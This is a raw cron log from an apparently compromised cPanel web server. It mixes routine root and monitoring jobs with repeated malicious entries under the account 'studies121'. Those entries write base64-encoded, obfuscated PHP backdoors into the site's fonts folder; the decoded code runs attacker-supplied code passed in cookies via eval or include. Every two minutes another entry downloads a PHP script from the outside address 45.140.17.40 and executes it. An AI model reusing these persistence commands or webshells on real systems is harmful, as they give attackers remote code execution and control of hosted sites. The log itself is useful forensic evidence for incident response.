Sep  2 08:47:01 ip-184-168-122-23 CROND[16522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:48:01 ip-184-168-122-23 CROND[16644]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:48:01 ip-184-168-122-23 CROND[16646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:48:01 ip-184-168-122-23 CROND[16649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:48:01 ip-184-168-122-23 CROND[16650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:48:01 ip-184-168-122-23 CROND[16652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:49:01 ip-184-168-122-23 CROND[16765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:49:01 ip-184-168-122-23 CROND[16767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:49:01 ip-184-168-122-23 CROND[16768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:49:01 ip-184-168-122-23 CROND[16769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:50:01 ip-184-168-122-23 CROND[16900]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:50:01 ip-184-168-122-23 CROND[16901]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 08:50:01 ip-184-168-122-23 CROND[16904]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:50:01 ip-184-168-122-23 CROND[16905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:50:01 ip-184-168-122-23 CROND[16906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:50:01 ip-184-168-122-23 CROND[16907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:50:01 ip-184-168-122-23 CROND[16909]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 08:50:01 ip-184-168-122-23 CROND[16911]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:50:01 ip-184-168-122-23 CROND[16908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:51:01 ip-184-168-122-23 CROND[17055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:51:01 ip-184-168-122-23 CROND[17057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:51:01 ip-184-168-122-23 CROND[17056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:51:01 ip-184-168-122-23 CROND[17058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:52:01 ip-184-168-122-23 CROND[17231]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:52:01 ip-184-168-122-23 CROND[17233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:52:01 ip-184-168-122-23 CROND[17234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:52:01 ip-184-168-122-23 CROND[17235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:52:01 ip-184-168-122-23 CROND[17236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:53:01 ip-184-168-122-23 CROND[17347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:53:01 ip-184-168-122-23 CROND[17349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:53:01 ip-184-168-122-23 CROND[17351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:53:01 ip-184-168-122-23 CROND[17348]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:54:01 ip-184-168-122-23 CROND[17459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:54:01 ip-184-168-122-23 CROND[17461]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:54:01 ip-184-168-122-23 CROND[17462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:54:01 ip-184-168-122-23 CROND[17463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:54:01 ip-184-168-122-23 CROND[17464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:55:01 ip-184-168-122-23 CROND[17598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:55:01 ip-184-168-122-23 CROND[17600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:55:01 ip-184-168-122-23 CROND[17601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:55:01 ip-184-168-122-23 CROND[17602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:55:01 ip-184-168-122-23 CROND[17604]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:55:01 ip-184-168-122-23 CROND[17606]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:56:01 ip-184-168-122-23 CROND[17726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:56:01 ip-184-168-122-23 CROND[17728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:56:01 ip-184-168-122-23 CROND[17729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:56:01 ip-184-168-122-23 CROND[17730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:56:01 ip-184-168-122-23 CROND[17731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:57:01 ip-184-168-122-23 CROND[17839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:57:01 ip-184-168-122-23 CROND[17840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:57:01 ip-184-168-122-23 CROND[17842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:57:01 ip-184-168-122-23 CROND[17844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:58:01 ip-184-168-122-23 CROND[18037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:58:01 ip-184-168-122-23 CROND[18039]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:58:01 ip-184-168-122-23 CROND[18042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:58:01 ip-184-168-122-23 CROND[18040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:58:01 ip-184-168-122-23 CROND[18041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:59:01 ip-184-168-122-23 CROND[18171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:59:01 ip-184-168-122-23 CROND[18172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:59:01 ip-184-168-122-23 CROND[18173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:59:01 ip-184-168-122-23 CROND[18174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:00:01 ip-184-168-122-23 CROND[18310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
